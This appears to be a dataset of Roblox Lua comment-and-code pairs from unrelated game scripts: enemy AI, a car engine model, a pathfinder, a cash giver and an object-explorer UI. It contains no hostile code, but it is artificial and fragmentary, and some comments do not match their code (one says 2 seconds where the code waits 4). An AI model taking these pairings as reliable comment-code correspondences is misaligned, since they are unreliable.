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-- Enemy AI system
|
follow.Event:Connect(require(enemyFunctions).Follow)
while true do
local enemiesToConsider = {}
for _,player in pairs(players:GetChildren()) do -- Adds all enemies in loaded areas to the considered table
if player.Character and player.Character:FindFirstChild("Humanoid") and player.Character.Humanoid.Health > 0 then
if player:FindFirstChild("Stats") and player.Stats:FindFirstChild("CurrentArea") and player.Stats.CurrentArea.Value then
local enemiesFolder = player.Stats.CurrentArea.Value:FindFirstChild("Enemies")
if enemiesFolder then
for _,enemy in pairs(enemiesFolder:GetChildren()) do
if not table.find(enemiesToConsider, enemy) then
table.insert(enemiesToConsider, enemy)
end
end
end
end
end
end
for _,enemy in pairs(enemiesToConsider) do
local closestPlayer = require(enemyFunctions).FindClosestPlayer(enemy, true)
if closestPlayer then
if closestPlayer.Character then
local rootPart = closestPlayer.Character:FindFirstChild("HumanoidRootPart")
if rootPart then
follow:Fire(enemy, rootPart)
end
end
elseif enemy:FindFirstChild("Stats") and enemy.Stats:FindFirstChild("OriginalPosition") then
enemy.EnemyHumanoid:MoveTo(enemy.Stats.OriginalPosition.Value)
end
end
wait()
end
|
--[=[
@within TableUtil
@function FlatMap
@param tbl table
@param predicate (key: any, value: any, tbl: table) -> newValue: any
@return table
Calls `TableUtil.Map` on the given table and predicate, and then
calls `TableUtil.Flat` on the result from the map operation.
```lua
local t = {10, 20, 30}
local result = TableUtil.FlatMap(t, function(value)
return {value, value * 2}
end)
print(result) --> {10, 20, 20, 40, 30, 60}
```
:::note Arrays only
This function works on arrays, but not dictionaries.
]=]
|
local function FlatMap(tbl: Table, callback: MapPredicate): Table
return Flat(Map(tbl, callback))
end
|
--tool = script.Parent.Pistol
|
function Die()
--if tool ~= nil then tool:remove() end
game.workspace.Scripts.WaveScript.Dead_Zombies.Value = game.workspace.Scripts.WaveScript.Dead_Zombies.Value + 1
wait(2.5)
script.Parent:remove()
end
human.Died:connect(Die)
|
--CHANGE THIS TO FALSE IF YOU DO NOT WANT TO SUPPORT THE CREATOR WITH ADVERTISEMENTS.
| |
-- Espera 2 segundos antes de reproducir el sonido
|
wait(4)
|
-------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------
|
local toolAnimName = ""
local toolAnimTrack = nil
local toolAnimInstance = nil
local currentToolAnimKeyframeHandler = nil
function toolKeyFrameReachedFunc(frameName)
if (frameName == "End") then
playToolAnimation(toolAnimName, 0.0, Humanoid)
end
end
function playToolAnimation(animName, transitionTime, humanoid, priority)
local idx = rollAnimation(animName)
local anim = animTable[animName][idx].anim
if (toolAnimInstance ~= anim) then
if (toolAnimTrack ~= nil) then
toolAnimTrack:Stop()
toolAnimTrack:Destroy()
transitionTime = 0
end
-- load it to the humanoid; get AnimationTrack
toolAnimTrack = humanoid:LoadAnimation(anim)
if priority then
toolAnimTrack.Priority = priority
end
-- play the animation
toolAnimTrack:Play(transitionTime)
toolAnimName = animName
toolAnimInstance = anim
currentToolAnimKeyframeHandler = toolAnimTrack.KeyframeReached:connect(toolKeyFrameReachedFunc)
end
end
function stopToolAnimations()
local oldAnim = toolAnimName
if (currentToolAnimKeyframeHandler ~= nil) then
currentToolAnimKeyframeHandler:disconnect()
end
toolAnimName = ""
toolAnimInstance = nil
if (toolAnimTrack ~= nil) then
toolAnimTrack:Stop()
toolAnimTrack:Destroy()
toolAnimTrack = nil
end
return oldAnim
end
|
--Made by Aurarus--
|
currency = "Swing" -- Change Gold to the currency you want to give
amnt = 250 -- Change 50 to the amount of money you want to give
debounce = false -- Don't change this
function onTouch(hit)
if hit.Parent:findFirstChild("Humanoid") ~= nil and debounce == false then
if game.Players:findFirstChild(hit.Parent.Name) ~= nil then
ThisPlayer = game.Players:findFirstChild(hit.Parent.Name)
ThisPlayer.leaderstats:findFirstChild(currency).Value = ThisPlayer.leaderstats:findFirstChild(currency).Value + amnt
script.Parent.Transparency = 1
script.Parent.CanCollide = false
debounce = true
wait(500) -- Respawn time for the cash giver
script.Parent.Transparency = 0
script.Parent.CanCollide = true
debounce = false
end
end
end
script.Parent.Touched:connect(onTouch)
|
--[[
\\\ Returns a consistant UID from a string, based on an additive string.byte per character
Functions.StringByte(
string, <-- |REQ| String
)
--]]
|
return function(str)
--- Vars
local int = 0
--- Convert each character to byte and add it up
for i = 1, string.len(str) do
int = int + string.byte(string.sub(str, i, i))
end
--
return int
end
|
--[[Engine]]
|
local fFD = _Tune.FinalDrive*_Tune.FDMult
local fFDr = fFD*30/math.pi
local cGrav = workspace.Gravity*_Tune.InclineComp/32.2
local wDRatio = wDia*math.pi/60
local cfWRot = CFrame.Angles(math.pi/2,-math.pi/2,0)
local cfYRot = CFrame.Angles(0,math.pi,0)
local rtTwo = (2^.5)/2
--Horsepower Curve
local fgc_h=_Tune.Horsepower/100
local fgc_n=_Tune.PeakRPM/1000
local fgc_a=_Tune.PeakSharpness
local fgc_c=_Tune.CurveMult
function FGC(x)
x=x/1000
return (((-(x-fgc_n)^2)*math.min(fgc_h/(fgc_n^2),fgc_c^(fgc_n/fgc_h)))+fgc_h)*(x-((x^fgc_a)/((fgc_a*fgc_n)^(fgc_a-1))))
end
local PeakFGC = FGC(_Tune.PeakRPM)
--Plot Current Horsepower
function GetCurve(x,gear)
local hp=math.max((FGC(x)*_Tune.Horsepower)/PeakFGC,0)
return hp,hp*(_Tune.EqPoint/x)*_Tune.Ratios[gear+2]*fFD*hpScaling
end
--Output Cache
local CacheTorque = true
local HPCache = {}
local HPInc = 100
if CacheTorque then
for gear,ratio in pairs(_Tune.Ratios) do
local hpPlot = {}
for rpm = math.floor(_Tune.IdleRPM/HPInc),math.ceil((_Tune.Redline+100)/HPInc) do
local tqPlot = {}
tqPlot.Horsepower,tqPlot.Torque = GetCurve(rpm*HPInc,gear-2)
hp1,tq1 = GetCurve((rpm+1)*HPInc,gear-2)
tqPlot.HpSlope = (hp1 - tqPlot.Horsepower)/(HPInc/1000)
tqPlot.TqSlope = (tq1 - tqPlot.Torque)/(HPInc/1000)
hpPlot[rpm] = tqPlot
end
table.insert(HPCache,hpPlot)
end
end
--Powertrain
--Update RPM
function RPM()
--Neutral Gear
if _CGear==0 then _ClutchOn = false end
--Car Is Off
local revMin = _Tune.IdleRPM
if not _IsOn then
revMin = 0
_CGear = 0
_ClutchOn = false
_GThrot = _Tune.IdleThrottle/100
end
--Determine RPM
local maxSpin=0
for i,v in pairs(Drive) do
if v.RotVelocity.Magnitude>maxSpin then maxSpin = v.RotVelocity.Magnitude end
end
if _ClutchOn then
local aRPM = math.max(math.min(maxSpin*_Tune.Ratios[_CGear+2]*fFDr,_Tune.Redline+100),revMin)
local clutchP = math.min(math.abs(aRPM-_RPM)/_Tune.ClutchTol,.9)
_RPM = _RPM*clutchP + aRPM*(1-clutchP)
else
if _GThrot-(_Tune.IdleThrottle/100)>0 then
if _RPM>_Tune.Redline then
_RPM = _RPM-_Tune.RevBounce*2
else
_RPM = math.min(_RPM+_Tune.RevAccel*_GThrot,_Tune.Redline+100)
end
else
_RPM = math.max(_RPM-_Tune.RevDecay,revMin)
end
end
--Rev Limiter
_spLimit = (_Tune.Redline+100)/(fFDr*_Tune.Ratios[_CGear+2])
if _RPM>_Tune.Redline then
if _CGear<#_Tune.Ratios-2 then
_RPM = _RPM-_Tune.RevBounce
else
_RPM = _RPM-_Tune.RevBounce*.5
end
end
end
--Apply Power
function Engine()
--Get Torque
local maxSpin=0
for i,v in pairs(Drive) do
if v.RotVelocity.Magnitude>maxSpin then maxSpin = v.RotVelocity.Magnitude end
end
if _ClutchOn then
if CacheTorque then
local cTq = HPCache[_CGear+2][math.floor(math.min(_Tune.Redline,math.max(_Tune.IdleRPM,_RPM))/HPInc)]
_HP = cTq.Horsepower+(cTq.HpSlope*(_RPM-math.floor(_RPM/HPInc))/1000)
_OutTorque = cTq.Torque+(cTq.TqSlope*(_RPM-math.floor(_RPM/HPInc))/1000)
else
_HP,_OutTorque = GetCurve(_RPM,_CGear)
end
local iComp =(car.DriveSeat.CFrame.lookVector.y)*cGrav
if _CGear==-1 then iComp=-iComp end
_OutTorque = _OutTorque*math.max(1,(1+iComp))
else
_HP,_OutTorque = 0,0
end
--Automatic Transmission
if _TMode == "Auto" and _IsOn then
_ClutchOn = true
if _CGear == 0 then _CGear = 1 end
if _CGear >= 1 then
if _CGear==1 and _GBrake > 0 and car.DriveSeat.Velocity.Magnitude < 0 then
_CGear = -1
else
if _Tune.AutoShiftMode == "RPM" then
if _RPM>(_Tune.PeakRPM+_Tune.AutoUpThresh) then
_CGear=math.min(_CGear+1,#_Tune.Ratios-2)
elseif math.max(math.min(maxSpin*_Tune.Ratios[_CGear+1]*fFDr,_Tune.Redline+100),_Tune.IdleRPM)<(_Tune.PeakRPM-_Tune.AutoDownThresh) then
_CGear=math.max(_CGear-1,1)
end
else
if car.DriveSeat.Velocity.Magnitude > math.ceil(wDRatio*(_Tune.PeakRPM+_Tune.AutoUpThresh)/_Tune.Ratios[_CGear+2]/fFD) then
_CGear=math.min(_CGear+1,#_Tune.Ratios-2)
elseif car.DriveSeat.Velocity.Magnitude < math.ceil(wDRatio*(_Tune.PeakRPM-_Tune.AutoDownThresh)/_Tune.Ratios[_CGear+1]/fFD) then
_CGear=math.max(_CGear-1,1)
end
end
end
else
if _GThrot-(_Tune.IdleThrottle/100) > 0 and car.DriveSeat.Velocity.Magnitude < 0 then
_CGear = 1
end
end
end
--Average Rotational Speed Calculation
local fwspeed=0
local fwcount=0
local rwspeed=0
local rwcount=0
for i,v in pairs(car.Wheels:GetChildren()) do
if v.Name=="FL" or v.Name=="FR" or v.Name == "F" then
fwspeed=fwspeed+v.RotVelocity.Magnitude
fwcount=fwcount+1
elseif v.Name=="RL" or v.Name=="RR" or v.Name == "R" then
rwspeed=rwspeed+v.RotVelocity.Magnitude
rwcount=rwcount+1
end
end
fwspeed=fwspeed/fwcount
rwspeed=rwspeed/rwcount
local cwspeed=(fwspeed+rwspeed)/2
--Update Wheels
for i,v in pairs(car.Wheels:GetChildren()) do
--Reference Wheel Orientation
local Ref=(CFrame.new(v.Position-((v.Arm.CFrame*cfWRot).lookVector),v.Position)*cfYRot).lookVector
local aRef=1
local diffMult=1
if v.Name=="FL" or v.Name=="RL" then aRef=-1 end
--AWD Torque Scaling
if _Tune.Config == "AWD" then _OutTorque = _OutTorque*rtTwo end
--Differential/Torque-Vectoring
if v.Name=="FL" or v.Name=="FR" then
diffMult=math.max(0,math.min(1,1+((((v.RotVelocity.Magnitude-fwspeed)/fwspeed)/(math.max(_Tune.FDiffSlipThres,1)/100))*((_Tune.FDiffLockThres-50)/50))))
if _Tune.Config == "AWD" then
diffMult=math.max(0,math.min(1,diffMult*(1+((((fwspeed-cwspeed)/cwspeed)/(math.max(_Tune.CDiffSlipThres,1)/100))*((_Tune.CDiffLockThres-50)/50)))))
end
elseif v.Name=="RL" or v.Name=="RR" then
diffMult=math.max(0,math.min(1,1+((((v.RotVelocity.Magnitude-rwspeed)/rwspeed)/(math.max(_Tune.RDiffSlipThres,1)/100))*((_Tune.RDiffLockThres-50)/50))))
if _Tune.Config == "AWD" then
diffMult=math.max(0,math.min(1,diffMult*(1+((((rwspeed-cwspeed)/cwspeed)/(math.max(_Tune.CDiffSlipThres,1)/100))*((_Tune.CDiffLockThres-50)/50)))))
end
end
_TCSActive = false
_ABSActive = false
--Output
if _PBrake and ((_Tune.Config ~= "FWD" and (((v.Name=="FL" or v.Name=="FR") and car.DriveSeat.Velocity.Magnitude<20) or ((v.Name=="RR" or v.Name=="RL") and car.DriveSeat.Velocity.Magnitude>=20))) or (_Tune.Config == "FWD" and (v.Name=="RR" or v.Name=="RL"))) then
--PBrake
v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*PBrakeForce
v["#AV"].angularvelocity=Vector3.new()
else
--Apply Power
if ((_TMode == "Manual" or _TMode == "Semi") and _GBrake==0) or (_TMode == "Auto" and ((_CGear>-1 and _GBrake==0 ) or (_CGear==-1 and _GThrot-(_Tune.IdleThrottle/100)==0 )))then
local driven = false
for _,a in pairs(Drive) do if a==v then driven = true end end
if driven then
local on=1
if not car.DriveSeat.IsOn.Value then on=0 end
local throt = _GThrot
if _TMode == "Auto" and _CGear==-1 then throt = _GBrake end
--Apply TCS
local tqTCS = 1
if _TCS then
tqTCS = 1-(math.min(math.max(0,math.abs(v.RotVelocity.Magnitude*(v.Size.x/2) - v.Velocity.Magnitude)-_Tune.TCSThreshold)/_Tune.TCSGradient,1)*(1-(_Tune.TCSLimit/100)))
end
if tqTCS < 1 then
_TCSActive = true
end
--Update Forces
local dir = 1
if _CGear==-1 then dir = -1 end
v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*_OutTorque*(1+(v.RotVelocity.Magnitude/60)^1.15)*throt*tqTCS*diffMult*on
v["#AV"].angularvelocity=Ref*aRef*_spLimit*dir
else
v["#AV"].maxTorque=Vector3.new()
v["#AV"].angularvelocity=Vector3.new()
end
--Brakes
else
local brake = _GBrake
if _TMode == "Auto" and _CGear==-1 then brake = _GThrot end
--Apply ABS
local tqABS = 1
if _ABS and math.abs(v.RotVelocity.Magnitude*(v.Size.x/2) - v.Velocity.Magnitude)-_Tune.ABSThreshold>0 then
tqABS = 0
end
if tqABS < 1 then
_ABSActive = true
end
--Update Forces
if v.Name=="FL" or v.Name=="FR" or v.Name=="F" then
v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*FBrakeForce*brake*tqABS
else
v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*RBrakeForce*brake*tqABS
end
v["#AV"].angularvelocity=Vector3.new()
end
end
end
end
|
-- PUT THIS SCRIPT INTO THE "ServerScriptService" SO IT'S SAFER!
-- Afterwards, drag a gear/item into a Team in the "Teams" folder, and anyone on that team will have it.
|
function teamFromColor(color)
for _,t in pairs(game:GetService("Teams"):GetChildren()) do
if t.TeamColor==color then return t end
end
return nil
end
function onSpawned(plr)
local tools = teamFromColor(plr.TeamColor):GetChildren()
for _,c in pairs(tools) do
c:Clone().Parent = plr.Backpack
end
end
function onChanged(prop,plr)
if prop=="Character" then
onSpawned(plr)
end
end
function onAdded(plr)
plr.Changed:connect(function(prop)
onChanged(prop,plr)
end)
end
game.Players.PlayerAdded:connect(onAdded)
|
-----------------------------------PATHER--------------------------------------
|
local function CreateDestinationIndicator(pos)
local destinationGlobe = Create'Part'
{
Name = 'PathGlobe';
TopSurface = 'Smooth';
BottomSurface = 'Smooth';
Shape = 'Ball';
CanCollide = false;
Size = Vector3_new(2,2,2);
BrickColor = BrickColor.new('Institutional white');
Transparency = 0;
Anchored = true;
CFrame = CFrame.new(pos);
}
return destinationGlobe
end
local function Pather(character, point)
local this = {}
this.Cancelled = false
this.Started = false
this.Finished = Signal.Create()
this.PathFailed = Signal.Create()
this.PathStarted = Signal.Create()
this.PathComputed = false
function this:YieldUntilPointReached(character, point, timeout)
timeout = timeout or 10000000
local humanoid = findPlayerHumanoid(Player)
local torso = humanoid and humanoid.Torso
local start = tick()
local lastMoveTo = start
while torso and tick() - start < timeout and this.Cancelled == false do
local diffVector = (point - torso.CFrame.p)
local xzMagnitude = (diffVector * XZ_VECTOR3).magnitude
if xzMagnitude < 6 then
-- Jump if the path is telling is to go upwards
if diffVector.Y >= 2.2 then
humanoid.Jump = true
end
end
-- The hard-coded number 2 here is from the engine's MoveTo implementation
if xzMagnitude < 2 then
return true
end
-- Keep on issuing the move command because it will automatically quit every so often.
if tick() - lastMoveTo > 1.5 then
humanoid:MoveTo(point)
lastMoveTo = tick()
end
CharacterControl:UpdateTorso(point)
task.wait()
end
return false
end
function this:Cancel()
this.Cancelled = true
local humanoid = findPlayerHumanoid(Player)
local torso = humanoid and humanoid.Torso
if humanoid and torso then
humanoid:MoveTo(torso.CFrame.p)
end
end
function this:CheckOcclusion(point1, point2, character, torsoRadius)
local humanoid = findPlayerHumanoid(Player)
local torso = humanoid and humanoid.Torso
if torsoRadius == nil then
torsoRadius = torso and Vector3_new(torso.Size.X/2,0,torso.Size.Z/2) or XZ_VECTOR3
end
local diffVector = point2 - point1
local directionVector = diffVector.unit
local rightVector = Y_VECTOR3:Cross(directionVector) * torsoRadius
local rightPart, _ = Utility.Raycast(Ray.new(point1 + rightVector, diffVector + rightVector), true, {character})
local hitPart, _ = Utility.Raycast(Ray.new(point1, diffVector), true, {character})
local leftPart, _ = Utility.Raycast(Ray.new(point1 - rightVector, diffVector - rightVector), true, {character})
if rightPart or hitPart or leftPart then
return false
end
-- Make sure we have somewhere to stand on
local midPt = (point2 + point1) / 2
local studsBetweenSamples = 2
for i = 1, math_floor(diffVector.magnitude/studsBetweenSamples) do
local downPart, _ = Utility.Raycast(Ray.new(point1 + directionVector * i * studsBetweenSamples, Vector3_new(0,-7,0)), true, {character})
if not downPart then
return false
end
end
return true
end
function this:SmoothPoints(pathToSmooth)
local result = {}
local humanoid = findPlayerHumanoid(Player)
local torso = humanoid and humanoid.Torso
for i = 1, #pathToSmooth do
table.insert(result, pathToSmooth[i])
end
-- Backwards for safe-deletion
for i = #result - 1, 1, -1 do
if i + 1 <= #result then
local nextPoint = result[i+1]
local thisPoint = result[i]
local lastPoint = result[i-1]
if lastPoint == nil then
lastPoint = torso and Vector3_new(torso.CFrame.p.X, thisPoint.Y, torso.CFrame.p.Z)
end
if lastPoint and Utility.FuzzyEquals(thisPoint.Y, lastPoint.Y) and Utility.FuzzyEquals(thisPoint.Y, nextPoint.Y) then
if this:CheckOcclusion(lastPoint, nextPoint, character) then
table.remove(result, i)
-- Move i back one to recursively-smooth
i = i + 1
end
end
end
end
return result
end
function this:CheckNeighboringCells(character)
local pathablePoints = {}
local humanoid = findPlayerHumanoid(Player)
local torso = character and humanoid and humanoid.Torso
if torso then
local torsoCFrame = torso.CFrame
local torsoPos = torsoCFrame.p
-- Minus and plus 2 is so we can get it into the cell-corner space and then translate it back into cell-center space
local roundedPos = Vector3_new(Utility.Round(torsoPos.X-2,4)+2, Utility.Round(torsoPos.Y-2,4)+2, Utility.Round(torsoPos.Z-2,4)+2)
local neighboringCells = {}
for x = -4, 4, 8 do
for z = -4, 4, 8 do
table.insert(neighboringCells, roundedPos + Vector3_new(x,0,z))
end
end
for _, testPoint in pairs(neighboringCells) do
local pathable = this:CheckOcclusion(roundedPos, testPoint, character, ZERO_VECTOR3)
if pathable then
table.insert(pathablePoints, testPoint)
end
end
end
return pathablePoints
end
function this:ComputeDirectPath()
local humanoid = findPlayerHumanoid(Player)
local torso = humanoid and humanoid.Torso
if torso then
local startPt = torso.CFrame.p
local finishPt = point
if (finishPt - startPt).magnitude < 150 then
-- move back the destination by 2 studs or otherwise the pather will collide with the object we are trying to reach
finishPt = finishPt - (finishPt - startPt).unit * 2
if this:CheckOcclusion(startPt, finishPt, character, ZERO_VECTOR3) then
local pathResult = {}
pathResult.Status = Enum.PathStatus.Success
function pathResult:GetPointCoordinates()
return {finishPt}
end
return pathResult
end
end
end
end
local function AllAxisInThreshhold(targetPt, otherPt, threshold)
return math_abs(targetPt.X - otherPt.X) <= threshold and
math_abs(targetPt.Y - otherPt.Y) <= threshold and
math_abs(targetPt.Z - otherPt.Z) <= threshold
end
function this:ComputePath()
local smoothed = false
local humanoid = findPlayerHumanoid(Player)
local torso = humanoid and humanoid.Torso
if torso then
if this.PathComputed then return end
this.PathComputed = true
-- Will yield the script since it is an Async script (start, finish, maxDistance)
-- Try to use the smooth function, but it may not exist yet :(
local success = pcall(function()
-- 3 is height from torso cframe to ground
this.pathResult = PathfindingService:ComputeSmoothPathAsync(torso.CFrame.p - Vector3_new(0,3,0), point, 400)
smoothed = true
end)
if not success then
-- 3 is height from torso cframe to ground
this.pathResult = PathfindingService:ComputeRawPathAsync(torso.CFrame.p - Vector3_new(0,3,0), point, 400)
smoothed = false
end
this.pointList = this.pathResult and this.pathResult:GetPointCoordinates()
local pathFound = false
if this.pathResult.Status == Enum.PathStatus.FailFinishNotEmpty then
-- Lets try again with a slightly set back start point; it is ok to do this again so the FailFinishNotEmpty uses little computation
local diffVector = point - workspace.CurrentCamera.CoordinateFrame.p
if diffVector.magnitude > 2 then
local setBackPoint = point - (diffVector).unit * 2.1
local success = pcall(function()
this.pathResult = PathfindingService:ComputeSmoothPathAsync(torso.CFrame.p, setBackPoint, 400)
smoothed = true
end)
if not success then
this.pathResult = PathfindingService:ComputeRawPathAsync(torso.CFrame.p, setBackPoint, 400)
smoothed = false
end
this.pointList = this.pathResult and this.pathResult:GetPointCoordinates()
pathFound = true
end
end
if this.pathResult.Status == Enum.PathStatus.ClosestNoPath and #this.pointList >= 1 and pathFound == false then
local otherPt = this.pointList[#this.pointList]
if AllAxisInThreshhold(point, otherPt, 4) and (torso.CFrame.p - point).magnitude > (otherPt - point).magnitude then
local pathResult = {}
pathResult.Status = Enum.PathStatus.Success
function pathResult:GetPointCoordinates()
return {this.pointList}
end
this.pathResult = pathResult
pathFound = true
end
end
if (this.pathResult.Status == Enum.PathStatus.FailStartNotEmpty or this.pathResult.Status == Enum.PathStatus.ClosestNoPath) and pathFound == false then
local pathablePoints = this:CheckNeighboringCells(character)
for _, otherStart in pairs(pathablePoints) do
local pathResult;
local success = pcall(function()
pathResult = PathfindingService:ComputeSmoothPathAsync(otherStart, point, 400)
smoothed = true
end)
if not success then
pathResult = PathfindingService:ComputeRawPathAsync(otherStart, point, 400)
smoothed = false
end
if pathResult and pathResult.Status == Enum.PathStatus.Success then
this.pathResult = pathResult
if this.pathResult then
this.pointList = this.pathResult:GetPointCoordinates()
table.insert(this.pointList, 1, otherStart)
end
break
end
end
end
if DirectPathEnabled then
if this.pathResult.Status ~= Enum.PathStatus.Success then
local directPathResult = this:ComputeDirectPath()
if directPathResult and directPathResult.Status == Enum.PathStatus.Success then
this.pathResult = directPathResult
this.pointList = directPathResult:GetPointCoordinates()
end
end
end
end
return smoothed
end
function this:IsValidPath()
this:ComputePath()
local pathStatus = this.pathResult.Status
return pathStatus == Enum.PathStatus.Success
end
function this:GetPathStatus()
this:ComputePath()
return this.pathResult.Status
end
function this:Start()
if CurrentSeatPart then
return
end
spawn(function()
local humanoid = findPlayerHumanoid(Player)
--humanoid.AutoRotate = false
local torso = humanoid and humanoid.Torso
if torso then
if this.Started then return end
this.Started = true
-- Will yield the script since it is an Async function script (start, finish, maxDistance)
local smoothed = this:ComputePath()
if this:IsValidPath() then
this.PathStarted:fire()
-- smooth out zig-zaggy paths
local smoothPath = smoothed and this.pointList or this:SmoothPoints(this.pointList)
for i, point in pairs(smoothPath) do
if humanoid then
if this.Cancelled then
return
end
local wayPoint = nil
if SHOW_PATH then
wayPoint = CreateDestinationIndicator(point)
wayPoint.BrickColor = BrickColor.new("New Yeller")
wayPoint.Parent = workspace
print(wayPoint.CFrame.p)
end
humanoid:MoveTo(point)
local distance = ((torso.CFrame.p - point) * XZ_VECTOR3).magnitude
local approxTime = 10
if math_abs(humanoid.WalkSpeed) > 0 then
approxTime = distance / math_abs(humanoid.WalkSpeed)
end
local yielding = true
if i == 1 then
--local rotatedCFrame = CameraModule:LookAtPreserveHeight(point)
if CameraModule then
local rotatedCFrame = CameraModule:LookAtPreserveHeight(smoothPath[#smoothPath])
local finishedSignal, duration = CameraModule:TweenCameraLook(rotatedCFrame)
end
--CharacterControl:SetTorsoLookPoint(point)
end
---[[
if (humanoid.Torso.CFrame.p - point).magnitude > 9 then
spawn(function()
while yielding and this.Cancelled == false do
if CameraModule then
local look = CameraModule:GetCameraLook()
local squashedLook = (look * XZ_VECTOR3).unit
local direction = ((point - CameraModule.cframe.p) * XZ_VECTOR3).unit
local theta = math_deg(math_acos(squashedLook:Dot(direction)))
if tick() - Utility.GetLastInput() > 2 and theta > (workspace.CurrentCamera.FieldOfView / 2) then
local rotatedCFrame = CameraModule:LookAtPreserveHeight(point)
local finishedSignal, duration = CameraModule:TweenCameraLook(rotatedCFrame)
--return
end
end
task.wait(0.1)
end
end)
end
--]]
local didReach = this:YieldUntilPointReached(character, point, approxTime * 3 + 1)
yielding = false
if SHOW_PATH then
wayPoint:Destroy()
end
if not didReach then
this.PathFailed:fire()
return
end
end
end
this.Finished:fire()
return
end
end
this.PathFailed:fire()
end)
end
return this
end
|
-- Matches objects to their tree node representation.
|
local NodeLookup = {}
local nodeWidth = 0
local QuickButtons = {}
function filteringWorkspace()
if explorerFilter.Text ~= "" and explorerFilter.Text ~= "Filter Workspace" then
return true
end
return false
end
function lookForAName(obj,name)
for i,v in pairs(obj:GetChildren()) do
if string.find(string.lower(v.Name),string.lower(name)) then nameScanned = true end
lookForAName(v,name)
end
end
function scanName(obj)
nameScanned = false
if string.find(string.lower(obj.Name),string.lower(explorerFilter.Text)) then
nameScanned = true
else
lookForAName(obj,explorerFilter.Text)
end
return nameScanned
end
function updateActions()
for i,v in pairs(QuickButtons) do
if v.Cond() then
v.Toggle(true)
else
v.Toggle(false)
end
end
end
local updateList,rawUpdateList,updateScroll,rawUpdateSize do
local function r(t)
for i = 1,#t do
if not filteringWorkspace() or scanName(t[i].Object) then
TreeList[#TreeList+1] = t[i]
local w = (t[i].Depth)*(2+ENTRY_PADDING+GUI_SIZE) + 2 + ENTRY_SIZE + 4 + getTextWidth(t[i].Object.Name) + 4
if w > nodeWidth then
nodeWidth = w
end
if t[i].Expanded or filteringWorkspace() then
r(t[i])
end
end
end
end
function rawUpdateSize()
scrollBarH.TotalSpace = nodeWidth
scrollBarH.VisibleSpace = listFrame.AbsoluteSize.x
scrollBarH:Update()
local visible = scrollBarH:CanScrollDown() or scrollBarH:CanScrollUp()
scrollBarH.GUI.Visible = visible
listFrame.Size = UDim2.new(1,-GUI_SIZE,1,-GUI_SIZE*(visible and 1 or 0) - HEADER_SIZE)
scrollBar.VisibleSpace = math.ceil(listFrame.AbsoluteSize.y/ENTRY_BOUND)
scrollBar.GUI.Size = UDim2.new(0,GUI_SIZE,1,-GUI_SIZE*(visible and 1 or 0) - HEADER_SIZE)
scrollBar.TotalSpace = #TreeList+1
scrollBar:Update()
end
function rawUpdateList()
-- Clear then repopulate the entire list. It appears to be fast enough.
TreeList = {}
nodeWidth = 0
r(NodeLookup[workspace.Parent])
if DexStorageEnabled then
r(NodeLookup[DexStorage])
end
if NilStorageEnabled then
r(NodeLookup[NilStorage])
end
rawUpdateSize()
updateActions()
end
-- Adding or removing large models will cause many updates to occur. We
-- can reduce the number of updates by creating a delay, then dropping any
-- updates that occur during the delay.
local updatingList = false
function updateList()
if updatingList then return end
updatingList = true
wait(0.25)
updatingList = false
rawUpdateList()
end
local updatingScroll = false
function updateScroll()
if updatingScroll then return end
updatingScroll = true
wait(0.25)
updatingScroll = false
scrollBar:Update()
end
end
local Selection do
local bindGetSelection = explorerPanel:FindFirstChild("GetSelection")
if not bindGetSelection then
bindGetSelection = Create('BindableFunction',{Name = "GetSelection"})
bindGetSelection.Parent = explorerPanel
end
local bindSetSelection = explorerPanel:FindFirstChild("SetSelection")
if not bindSetSelection then
bindSetSelection = Create('BindableFunction',{Name = "SetSelection"})
bindSetSelection.Parent = explorerPanel
end
local bindSelectionChanged = explorerPanel:FindFirstChild("SelectionChanged")
if not bindSelectionChanged then
bindSelectionChanged = Create('BindableEvent',{Name = "SelectionChanged"})
bindSelectionChanged.Parent = explorerPanel
end
local SelectionList = {}
local SelectionSet = {}
local Updates = true
Selection = {
Selected = SelectionSet;
List = SelectionList;
}
local function addObject(object)
-- list update
local lupdate = false
-- scroll update
local supdate = false
if not SelectionSet[object] then
local node = NodeLookup[object]
if node then
table.insert(SelectionList,object)
SelectionSet[object] = true
node.Selected = true
-- expand all ancestors so that selected node becomes visible
node = node.Parent
while node do
if not node.Expanded then
node.Expanded = true
lupdate = true
end
node = node.Parent
end
supdate = true
end
end
return lupdate,supdate
end
function Selection:Set(objects)
local lupdate = false
local supdate = false
if #SelectionList > 0 then
for i = 1,#SelectionList do
local object = SelectionList[i]
local node = NodeLookup[object]
if node then
node.Selected = false
SelectionSet[object] = nil
end
end
SelectionList = {}
Selection.List = SelectionList
supdate = true
end
for i = 1,#objects do
local l,s = addObject(objects[i])
lupdate = l or lupdate
supdate = s or supdate
end
if lupdate then
rawUpdateList()
supdate = true
elseif supdate then
scrollBar:Update()
end
if supdate then
bindSelectionChanged:Fire()
updateActions()
end
end
function Selection:Add(object)
local l,s = addObject(object)
if l then
rawUpdateList()
if Updates then
bindSelectionChanged:Fire()
updateActions()
end
elseif s then
scrollBar:Update()
if Updates then
bindSelectionChanged:Fire()
updateActions()
end
end
end
function Selection:StopUpdates()
Updates = false
end
function Selection:ResumeUpdates()
Updates = true
bindSelectionChanged:Fire()
updateActions()
end
function Selection:Remove(object,noupdate)
if SelectionSet[object] then
local node = NodeLookup[object]
if node then
node.Selected = false
SelectionSet[object] = nil
for i = 1,#SelectionList do
if SelectionList[i] == object then
table.remove(SelectionList,i)
break
end
end
if not noupdate then
scrollBar:Update()
end
bindSelectionChanged:Fire()
updateActions()
end
end
end
function Selection:Get()
local list = {}
for i = 1,#SelectionList do
list[i] = SelectionList[i]
end
return list
end
bindSetSelection.OnInvoke = function(...)
Selection:Set(...)
end
bindGetSelection.OnInvoke = function()
return Selection:Get()
end
end
function CreateCaution(title,msg)
local newCaution = CautionWindow:Clone()
newCaution.Title.Text = title
newCaution.MainWindow.Desc.Text = msg
newCaution.Parent = explorerPanel.Parent
newCaution.Visible = true
newCaution.MainWindow.Ok.MouseButton1Up:connect(function()
newCaution:Destroy()
end)
end
function CreateTableCaution(title,msg)
if type(msg) ~= "table" then return CreateCaution(title,tostring(msg)) end
local newCaution = TableCautionWindow:Clone()
newCaution.Title.Text = title
